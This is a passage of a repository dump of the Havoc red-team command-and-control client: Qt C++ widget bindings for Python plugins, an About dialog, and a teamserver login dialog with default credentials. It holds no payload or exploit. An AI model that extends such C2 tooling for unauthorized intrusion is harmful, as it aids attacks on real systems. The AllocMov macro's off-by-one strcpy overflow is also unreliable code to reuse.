\\\r\n    if ( size > 0 )                                         \\\r\n    {                                                       \\\r\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\r\n        memset( des, 0, size );                             \\\r\n        std::strcpy( des, src );                            \\\r\n    }\r\n\r\nvoid WidgetClass_dealloc( PPyWidgetClass self )\r\n{\r\n    if (self) {\r\n        if (self->title)\r\n            Py_XDECREF( self->title );\r\n        if (self->WidgetWindow && self->WidgetWindow->window)\r\n            delete self->WidgetWindow->window;\r\n        if (self->WidgetWindow)\r\n            free(self->WidgetWindow);\r\n        Py_TYPE( self )->tp_free( ( PyObject* ) self );\r\n    }\r\n}\r\n\r\nPyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\r\n{\r\n    PPyWidgetClass self;\r\n\r\n    self = ( PPyWidgetClass ) PyType_Type.tp_alloc( type, 0 );\r\n    if (self == NULL)\r\n        return NULL;\r\n    self->title = NULL;\r\n    self->WidgetWindow = NULL;\r\n    self->WidgetWindow = (PPyWidgetQWindow)malloc(sizeof(PyWidgetQWindow));\r\n    if (self->WidgetWindow == NULL)\r\n        return NULL;\r\n    self->WidgetWindow->window = NULL;\r\n    self->WidgetWindow->layout = NULL;\r\n    self->WidgetWindow->scroll= NULL;\r\n    self->WidgetWindow->root = NULL;\r\n    self->WidgetWindow->root_layout = NULL;\r\n    return ( PyObject* ) self;\r\n}\r\n\r\nint WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds )\r\n{\r\n    char*       title           = NULL;\r\n    PyObject*   scrollable      = NULL;\r\n    const char* kwdlist[]       = { \"title\", \"scrollable\", NULL };\r\n\r\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwds, \"s|O\", const_cast<char**>(kwdlist), &title, &scrollable ) )\r\n        return -1;\r\n    AllocMov( self->title, title, strlen(title) );\r\n\r\n    self->WidgetWindow->window = new QWidget();\r\n    self->WidgetWindow->window->setWindowTitle(title);\r\n\r\n    self->WidgetWindow->root = new QWidget();\r\n    self->WidgetWindow->layout = new QVBoxLayout(self->WidgetWindow->root);\r\n\r\n    if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) {\r\n        self->WidgetWindow->scroll = new QScrollArea(self->WidgetWindow->window);\r\n        self->WidgetWindow->scroll->setWidgetResizable(true);\r\n        self->WidgetWindow->scroll->setWidget(self->WidgetWindow->root);\r\n    }\r\n    self->WidgetWindow->root_layout = new QVBoxLayout(self->WidgetWindow->window);\r\n    if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True)\r\n        self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->scroll);\r\n    else\r\n        self->WidgetWindow->root_layout->addWidget(self->WidgetWindow->root);\r\n    return 0;\r\n}\r\n\r\n// Methods\r\nPyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"s\", &text) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QLabel* label = new QLabel(text, self->WidgetWindow->window);\r\n    self->WidgetWindow->layout->addWidget(label);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"s\", &text) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QPixmap img(text);\r\n    QLabel* label = new QLabel(self->WidgetWindow->window);\r\n    label->setPixmap(img);\r\n    self->WidgetWindow->layout->addWidget(label);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewBottomTab( self->WidgetWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewSmallTab( self->WidgetWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    char *style = nullptr;\r\n    PyObject* button_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO|s\", &text, &button_callback, &style) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(button_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QPushButton* button = new QPushButton(text, self->WidgetWindow->window);\r\n    if (style)\r\n        button->setStyleSheet(style);\r\n    self->WidgetWindow->layout->addWidget(button);\r\n    QObject::connect(button, &QPushButton::clicked, self->WidgetWindow->window, [button_callback]() {\r\n            PyObject_CallFunctionObjArgs(button_callback, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    char *style = nullptr;\r\n    PyObject* checkbox_callback = nullptr;\r\n    PyObject* is_checked = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO|Os\", &text, &checkbox_callback, &is_checked, &style) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(checkbox_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QCheckBox* checkbox = new QCheckBox(text, self->WidgetWindow->window);\r\n    if (style)\r\n        checkbox->setStyleSheet(style);\r\n    if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True)\r\n        checkbox->setChecked(true);\r\n    self->WidgetWindow->layout->addWidget(checkbox);\r\n    QObject::connect(checkbox, &QCheckBox::clicked, self->WidgetWindow->window, [checkbox_callback]() {\r\n            PyObject_CallFunctionObjArgs(checkbox_callback, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args )\r\n{\r\n    Py_ssize_t tuple_size = PyTuple_Size(args);\r\n    QComboBox* comboBox = new QComboBox(self->WidgetWindow->window);\r\n\r\n    PyObject* callable_obj = PyTuple_GetItem(args, 0);\r\n    if ( !PyCallable_Check(callable_obj) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    for (Py_ssize_t i = 1; i < tuple_size; i++) {\r\n        const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i));\r\n\r\n        comboBox->addItem(string_obj);\r\n    }\r\n    self->WidgetWindow->layout->addWidget(comboBox);\r\n    QObject::connect(comboBox, QOverload<int>::of(&QComboBox::activated), [callable_obj](int index) {\r\n        PyObject* pArg = PyLong_FromLong(index);\r\n        PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    PyObject* line_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO\", &text, &line_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(line_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QLineEdit* line = new QLineEdit(self->WidgetWindow->window);\r\n    line->setPlaceholderText(text);\r\n    self->WidgetWindow->layout->addWidget(line);\r\n    QObject::connect(line, &QLineEdit::editingFinished, self->WidgetWindow->window, [line, line_callback]() {\r\n            QString text = line->text();\r\n            QByteArray byteArray = text.toUtf8();\r\n            char *charArray = byteArray.data();\r\n            PyObject* pyString = PyUnicode_DecodeFSDefault(charArray);\r\n            PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O\", &cal_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QCalendarWidget* cal = new QCalendarWidget(self->WidgetWindow->window);\r\n    self->WidgetWindow->layout->addWidget(cal);\r\n\r\n    QObject::connect(cal, &QCalendarWidget::selectionChanged, self->WidgetWindow->window, [cal, cal_callback]() {\r\n            QDate selectedDate = cal->selectedDate();\r\n            QString text = selectedDate.toString(\"yyyy-MM-dd\");\r\n            QByteArray byteArray = text.toUtf8();\r\n            char *charArray = byteArray.data();\r\n            PyObject* pyString = PyUnicode_DecodeFSDefault(charArray);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O\", &cal_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QDial* dial = new QDial(self->WidgetWindow->window);\r\n    self->WidgetWindow->layout->addWidget(dial);\r\n    QObject::connect(dial, &QDial::valueChanged, self->WidgetWindow->window, [cal_callback](long value) {\r\n            PyObject* pyLong = PyLong_FromLong(value);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n    PyObject* vertical = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O|O\", &cal_callback, &vertical) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QSlider* slider = nullptr;\r\n    if (vertical && PyBool_Check(vertical) && vertical == Py_True) {\r\n        slider = new QSlider(Qt::Vertical);\r\n    } else {\r\n        slider = new QSlider(Qt::Horizontal);\r\n    }\r\n    self->WidgetWindow->layout->addWidget(slider);\r\n    QObject::connect(slider, &QSlider::valueChanged, self->WidgetWindow->window, [cal_callback](long value) {\r\n            PyObject* pyLong = PyLong_FromLong(value);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args )\r\n{\r\n    char* to_find = NULL;\r\n    char* to_replace= NULL;\r\n    QVBoxLayout *layout = self->WidgetWindow->layout;\r\n\r\n    if( !PyArg_ParseTuple( args, \"ss\", &to_find, &to_replace) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QString targetText = QString(to_find);\r\n    for (int i = 0; i < layout->count(); ++i) {\r\n        QLayoutItem* item = layout->itemAt(i);\r\n        if (item->widget() && item->widget()->inherits(\"QLabel\")) {\r\n            QLabel* label = qobject_cast<QLabel*>(item->widget());\r\n            if (label && label->text() == targetText) {\r\n                label->setText(to_replace);\r\n                break;\r\n            }\r\n        }\r\n    }\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args )\r\n{\r\n    QVBoxLayout *layout = self->WidgetWindow->layout;\r\n    QLayoutItem* item;\r\n\r\n    while ((item = layout->takeAt(0)) != nullptr) {\r\n        delete item->widget();\r\n        delete item;\r\n    }\r\n    Py_RETURN_NONE;\r\n}\r\n"
  },
  {
    "path": "client/src/Havoc/Service.cc",
    "content": "#include <Havoc/Service.hpp>\n\nuint64_t DemonMagicValue = 0xdeadbeef;\n"
  },
  {
    "path": "client/src/Main.cc",
    "content": "#include <global.hpp>\n#include <Havoc/Havoc.hpp>\n#include <QTimer>\n\nauto main(\n    int    argc,\n    char** argv\n) -> int {\n    auto HavocApp = QApplication( argc, argv );\n    auto Status   = 0;\n\n    QGuiApplication::setWindowIcon( QIcon( \":/Havoc.ico\" ) );\n\n    HavocNamespace::HavocApplication = new HavocNamespace::HavocSpace::Havoc( new QMainWindow );\n    HavocNamespace::HavocApplication->Init( argc, argv );\n\n    Status = QApplication::exec();\n\n    spdlog::info( \"Havoc Application status: {}\", Status );\n\n    return Status;\n}\n"
  },
  {
    "path": "client/src/UserInterface/Dialogs/About.cc",
    "content": "#include <global.hpp>\n#include <UserInterface/Dialogs/About.hpp>\n\nAbout::About( QDialog* dialog )\n{\n    AboutDialog = dialog;\n\n    if ( AboutDialog->objectName().isEmpty() )\n        AboutDialog->setObjectName( QString::fromUtf8( \"Dialogs\" ) );\n\n    AboutDialog->setWindowTitle(\"About\");\n    AboutDialog->resize(400, 323);\n\n    gridLayout = new QGridLayout(AboutDialog);\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n\n    label = new QLabel( AboutDialog );\n    label->setObjectName(QString::fromUtf8(\"label_Name\"));\n    label->setMinimumSize(QSize(196, 0));\n\n    gridLayout->addWidget(label, 0, 0, 1, 3);\n\n    pushButton = new QPushButton(AboutDialog);\n    pushButton->setObjectName(QString::fromUtf8(\"pushButton_New_Profile\"));\n    gridLayout->addWidget(pushButton, 3, 2, 1, 1);\n\n    horizontalSpacer = new QSpacerItem(40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum);\n\n    gridLayout->addItem(horizontalSpacer, 2, 1, 1, 1);\n\n    textBrowser = new QTextBrowser(AboutDialog);\n    textBrowser->setObjectName(QString::fromUtf8(\"textBrowser\"));\n    textBrowser->setOpenExternalLinks(true);\n\n    gridLayout->addWidget(textBrowser, 1, 0, 1, 3);\n    label->setText(QCoreApplication::translate(\"Dialogs\", R\"(<html><head/><body><p align=\"center\"><span style=\" font-size:22pt;\">Havoc</span></p></body></html>)\", nullptr));\n    pushButton->setText(QCoreApplication::translate(\"Dialogs\", \"Close\", nullptr));\n    textBrowser->setHtml(QCoreApplication::translate(\"Dialogs\", \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0//EN\\\" \\\"http://www.w3.org/TR/REC-html40/strict.dtd\\\">\\n\"\n                                                               \"<html><head><meta name=\\\"qrichtext\\\" content=\\\"1\\\" /><style type=\\\"text/css\\\">\\n\"\n                                                               \"p, li { white-space: pre-wrap; }\\n\"\n                                                               \"</style></head><body style=\\\" font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;\\\">\\n\"\n                                                               \"<p align=\\\"center\\\" style=\\\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\"><span style=\\\" font-size:x-large; font-weight:600;\\\">About Havoc</span> </p>\\n\"\n                                                               \"<p align=\\\"center\\\" style=\\\" margin-top:12px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\\\">Welcome to Havoc. Havoc is a Software for Adversary Simulations and Red Team Operations by <a href=\\\"https://www.twitter.com/C5pider\\\"><span style=\\\" text-decoration: underline; color:#e100ff;\\\">5pider</span></a>. </p></body></html>\", nullptr));\n\n    QObject::connect( pushButton, &QPushButton::clicked, this, &About::onButtonClose );\n    QMetaObject::connectSlotsByName( AboutDialog );\n}\n\nvoid About::setupUi()\n{\n\n}\n\nvoid About::onButtonClose()\n{\n    AboutDialog->close();\n}\n"
  },
  {
    "path": "client/src/UserInterface/Dialogs/Connect.cc",
    "content": "#include <global.hpp>\n\n#include <Havoc/DBManager/DBManager.hpp>\n#include <Havoc/Connector.hpp>\n#include <Havoc/Havoc.hpp>\n\n#include <UserInterface/Dialogs/Connect.hpp>\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::setupUi( QDialog* Form )\n{\n    this->ConnectDialog = Form;\n\n    if ( Form->objectName().isEmpty() )\n        Form->setObjectName( QString::fromUtf8( \"Form\" ) );\n\n    Form->resize( 500, 260 );\n    Form->setMinimumSize( QSize( 500, 260 ) );\n    Form->setMaximumSize( QSize( 500, 260 ) );\n\n    Form->setStyleSheet( FileRead( \":/stylesheets/Dialogs/Connect\" ) );\n\n    gridLayout = new QGridLayout( Form );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n\n    plainTextEdit = new QPlainTextEdit( Form );\n    plainTextEdit->setObjectName( QString::fromUtf8( \"plainTextEdit\" ) );\n    plainTextEdit->setMaximumSize( QSize( 16777215, 45 ) );\n    plainTextEdit->setMinimumSize( QSize( 0, 45 ) );\n    plainTextEdit->setReadOnly( true );\n    plainTextEdit->setPlainText( \"Havoc connection dialog. Connect to a havoc teamserver.\" );\n\n    label_Port = new QLabel( Form );\n    label_Port->setObjectName( QString::fromUtf8( \"label_Port\" ) );\n\n    ButtonNewProfile = new QPushButton( Form );\n    ButtonNewProfile->setObjectName( QString::fromUtf8( \"ButtonNewProfile\" ) );\n    ButtonNewProfile->setMinimumSize( QSize( 10, 30 ) );\n\n    label_Name = new QLabel( Form );\n    label_Name->setObjectName( QString::fromUtf8( \"label_Name\" ) );\n\n    lineEdit_Name = new QLineEdit( Form );\n    lineEdit_Name->setObjectName( QString::fromUtf8( \"lineEdit_Name\" ) );\n    lineEdit_Name->setMinimumSize( QSize( 150, 0 ) );\n\n    lineEdit_Host = new QLineEdit( Form );\n    lineEdit_Host->setObjectName( QString::fromUtf8( \"lineEdit_Host\" ) );\n\n    lineEdit_Port = new QLineEdit( Form );\n    lineEdit_Port->setObjectName( QString::fromUtf8( \"lineEdit_Port\" ) );\n\n    lineEdit_User = new QLineEdit( Form );\n    lineEdit_User->setObjectName( QString::fromUtf8( \"lineEdit_User\" ) );\n\n    lineEdit_Password = new QLineEdit( Form );\n    lineEdit_Password->setObjectName( QString::fromUtf8( \"lineEdit_Password\" ) );\n    lineEdit_Password->setEchoMode( QLineEdit::Password );\n\n    label_User = new QLabel( Form );\n    label_User->setObjectName( QString::fromUtf8( \"label_User\" ) );\n\n    ButtonConnect = new QPushButton( Form );\n    ButtonConnect->setObjectName( QString::fromUtf8( \"ButtonConnect\" ) );\n\n    label_Host = new QLabel( Form );\n    label_Host->setObjectName( QString::fromUtf8( \"label_Host\" ) );\n\n    label_Password = new QLabel( Form );\n    label_Password->setObjectName( QString::fromUtf8( \"label_Password\" ) );\n\n    horizontalSpacer = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n\n    listContextMenu = new QMenu( this );\n    listContextMenu->addAction( \"Remove\", this, &Connect::itemRemove );\n    listContextMenu->addAction( \"Clear\",  this, &Connect::itemsClear );\n    listContextMenu->setStyleSheet( \"QMenu {\"\n                                    \"    background-color: #282a36;\"\n                                    \"    color: #f8f8f2;\"\n                                    \"    border: 1px solid #44475a;\"\n                                    \"}\"\n                                    \"QMenu::separator {\"\n                                    \"    background: #44475a;\"\n                                    \"}\"\n                                    \"QMenu::item:selected {\"\n                                    \"    background: #44475a;\"\n                                    \"}\"\n                                    \"QAction {\"\n                                    \"    background-color: #282a36;\"\n                                    \"    color: #f8f8f2;\"\n                                    \"}\" );\n\n    listWidget = new QListWidget( Form );\n    listWidget->setObjectName( QString::fromUtf8( \"listWidget\" ) );\n    listWidget->setMaximumSize( QSize( 170, 16777215 ) );\n    listWidget->setContextMenuPolicy( Qt::CustomContextMenu );\n    listWidget->addAction( listContextMenu->menuAction() );\n\n    gridLayout->addWidget( ButtonNewProfile, 0, 0, 1, 1 );\n    gridLayout->addWidget( listWidget,       1, 0, 8, 1 );\n    gridLayout->addItem(   horizontalSpacer, 1, 2, 1, 1 );\n\n    gridLayout->addWidget( plainTextEdit,    0, 1, 1, 2 );\n    gridLayout->addWidget( label_Name,       2, 1, 1, 1 );\n    gridLayout->addWidget( lineEdit_Name,    2, 2, 1, 1 );\n\n    gridLayout->addWidget( label_Host,       3, 1, 1, 1 );\n    gridLayout->addWidget( lineEdit_Host,    3, 2, 1, 1 );\n\n    gridLayout->addWidget( label_Port,       4, 1, 1, 1 );\n    gridLayout->addWidget( lineEdit_Port,    4, 2, 1, 1 );\n\n    gridLayout->addWidget( label_User,       5, 1, 1, 1 );\n    gridLayout->addWidget( lineEdit_User,    5, 2, 1, 1 );\n\n    gridLayout->addWidget( label_Password,   6, 1, 1, 1 );\n    gridLayout->addWidget( lineEdit_Password,6, 2, 1, 1 );\n\n    gridLayout->addWidget( ButtonConnect,    8, 2, 1, 1 );\n\n    paletteGray = new QPalette();\n    paletteGray->setColor( QPalette::Base, Qt::gray );\n\n    paletteWhite = new QPalette();\n    paletteWhite->setColor( QPalette::Base, Qt::white );\n\n    Form->setWindowTitle( \"Connect\" );\n\n    ButtonNewProfile->setText( \"New Profile\" );\n\n    label_Name->setText( \"Name:\" );\n    label_Host->setText( \"Host:\" );\n    label_Port->setText( \"Port:\" );\n    label_User->setText( \"User:\" );\n    label_Password->setText( \"Password:\" );\n\n    ButtonConnect->setText( \"Connect\" );\n    ButtonConnect->setFocus();\n\n    connect( listWidget, &QListWidget::itemPressed, this, &Connect::itemSelected );\n    connect( listWidget, &QListWidget::customContextMenuRequested, this, &Connect::handleContextMenu );\n\n    connect( lineEdit_Name, &QLineEdit::returnPressed, this, [&](){\n        onButton_Connect();\n    } );\n\n    connect( lineEdit_User, &QLineEdit::returnPressed, this, [&](){\n        onButton_Connect();\n    } );\n\n    connect( lineEdit_Host, &QLineEdit::returnPressed, this, [&](){\n        onButton_Connect();\n    } );\n\n    connect( lineEdit_Port, &QLineEdit::returnPressed, this, [&](){\n        onButton_Connect();\n    } );\n\n    connect( lineEdit_Password, &QLineEdit::returnPressed, this, [&](){\n        onButton_Connect();\n    } );\n\n    QMetaObject::connectSlotsByName( Form );\n}\n\nUtil::ConnectionInfo HavocNamespace::UserInterface::Dialogs::Connect::StartDialog( bool FromAction )\n{\n    auto ProfileName = std::string();\n\n    listWidget->clear();\n\n    for ( auto & TeamserverConnection : TeamserverList )\n    {\n        listWidget->addItem( TeamserverConnection.Name );\n    }\n\n    listWidget->setCurrentRow( 0 );\n\n    if ( ! listWidget->selectedItems().empty() )\n        this->itemSelected();\n    else\n        this->isNewProfile = true;\n\n    connect( ButtonConnect,    &QPushButton::clicked, this, &Connect::onButton_Connect );\n    connect( ButtonNewProfile, &QPushButton::clicked, this, &Connect::onButton_NewProfile );\n\n    ConnectDialog->exec();\n\n    auto ConnectionInfo = new Util::ConnectionInfo;\n\n    ConnectionInfo->Name     = lineEdit_Name->text();\n    ConnectionInfo->Host     = lineEdit_Host->text();\n    ConnectionInfo->Port     = lineEdit_Port->text();\n    ConnectionInfo->User     = lineEdit_User->text();\n    ConnectionInfo->Password = lineEdit_Password->text();\n\n    ProfileName = ConnectionInfo->Name.toStdString();\n\n    if ( this->tryConnect )\n    {\n        auto ConnectionInstant = new Connector( ConnectionInfo );\n\n        HavocX::Teamserver = *ConnectionInfo;\n        HavocX::Connector  = ConnectionInstant;\n\n        if ( this->isNewProfile ) {\n            if ( ! this->dbManager->addTeamserverInfo( *ConnectionInfo ) ) {\n                spdlog::warn( \"Failed to add Teamserver Info to database\" );\n            }\n        }\n        else if ( ConnectionInstant->ErrorString == nullptr ) {\n            spdlog::info( \"Connecting to profile: {}\", ProfileName );\n        } else {\n            spdlog::critical( \"Couldn't connect to profile: {}\", ProfileName );\n            Havoc::Exit();\n        }\n\n    } else {\n\n        if (!FromAction) {\n            spdlog::info(\"Exit program from Connection Dialog\");\n            HavocNamespace::HavocSpace::Havoc::Exit();\n        }\n\n    }\n\n    return *ConnectionInfo;\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::passDB(HavocNamespace::HavocSpace::DBManager* db)\n{\n    this->dbManager = db;\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::onButton_Connect()\n{\n    if ( lineEdit_Name->text().isEmpty() )\n    {\n        auto MessageBox = QMessageBox();\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"Name is empty\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    if ( lineEdit_Host->text().isEmpty() )\n    {\n        auto MessageBox = QMessageBox();\n\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"Host is empty\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    if ( lineEdit_Port->text().isEmpty()  )\n    {\n        auto MessageBox = QMessageBox();\n\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"Port is empty\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    if ( lineEdit_User->text().isEmpty() )\n    {\n        auto MessageBox = QMessageBox();\n\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"User is empty\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    if ( lineEdit_Password->text().isEmpty() )\n    {\n        auto MessageBox = QMessageBox();\n\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"Password is empty\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    if ( this->dbManager->checkTeamserverExists( lineEdit_Name->text() ) && this->isNewProfile )\n    {\n        auto MessageBox = QMessageBox();\n\n        MessageBox.setWindowTitle( \"Error\" );\n        MessageBox.setText( \"Profile Name already exists\" );\n        MessageBox.setIcon( QMessageBox::Critical );\n        MessageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        MessageBox.exec();\n\n        return;\n    }\n\n    this->tryConnect = true;\n    this->listWidget->addItem( lineEdit_Name->text() );\n    this->ConnectDialog->close();\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::itemSelected()\n{\n    auto ProfileName = listWidget->currentItem()->text();\n    this->isNewProfile = false;\n\n    for ( auto& Profile : TeamserverList )\n    {\n        if ( Profile.Name == ProfileName )\n        {\n            lineEdit_Name->setPalette( *paletteGray );\n            lineEdit_Name->setReadOnly( true );\n            lineEdit_Name->setText( Profile.Name );\n            lineEdit_Host->setText( Profile.Host );\n            lineEdit_Port->setText( Profile.Port );\n            lineEdit_User->setText( Profile.User );\n            lineEdit_Password->setText( Profile.Password );\n        }\n    }\n\n    ButtonConnect->setFocus();\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::onButton_NewProfile()\n{\n    this->isNewProfile = true;\n\n    listWidget->setCurrentIndex(QModelIndex());\n\n    lineEdit_Name->setText( \"Death Star\" );\n    lineEdit_Name->setPalette(*paletteWhite);\n    lineEdit_Name->setReadOnly(false);\n\n    lineEdit_Host->setText( \"127.0.0.1\" );\n    lineEdit_Port->setText( \"40056\" );\n    lineEdit_User->setText( \"5pider\" );\n    lineEdit_Password->setText( \"password\" );\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::handleContextMenu( const QPoint &pos )\n{\n    auto globalPos = listWidget->mapToGlobal( pos );\n    listContextMenu->exec( globalPos );\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::itemRemove()\n{\n    for ( int i = 0; i < listWidget->selectedItems().size(); ++i )\n    {\n        auto item = listWidget->takeItem( listWidget->currentRow() );\n\n        this->dbManager->removeTeamserverInfo( item->text() );\n\n        delete item;\n    }\n\n    this->onButton_NewProfile();\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::Connect::itemsClear()\n{\n    this->listWidget->clear();\n    this->dbManager->removeAllTeamservers();\n    this->onButton_NewProfile();\n}\n"
  },
  {
    "path": "client/src/UserInterface/Dialogs/Listener.cc",
    "content": "#include <global.hpp>\n\n#include <UserInterface/Dialogs/Listener.hpp>\n\n#include <QFile>\n#include <QApplication>\n#include <QDialog>\n#include <QGridLayout>\n#include <QLabel>\n#include <QLineEdit>\n#include <QPushButton>\n#include <QSpacerItem>\n\nusing namespace HavocNamespace::HavocSpace;\nusing namespace HavocNamespace::UserInterface::Dialogs;\n\nbool is_number( const std::string& s )\n{\n    std::string::const_iterator it = s.begin();\n    while (it != s.end() && std::isdigit(*it)) ++it;\n    return !s.empty() && it == s.end();\n}\n\nNewListener::NewListener( QDialog* Dialog )\n{\n    ListenerDialog = Dialog;\n\n    if ( ListenerDialog->objectName().isEmpty() )\n        ListenerDialog->setObjectName( QString::fromUtf8( \"ListenerWidget\" ) );\n\n    Dialog->setStyleSheet( FileRead( \":/stylesheets/Dialogs/Listener\" ) );\n\n    ListenerDialog->resize( 550, 600 );\n\n    gridLayout = new QGridLayout( ListenerDialog );\n    gridLayout->setObjectName(QString::fromUtf8(\"gridLayout\"));\n\n    ConfigBox = new QGroupBox( ListenerDialog );\n    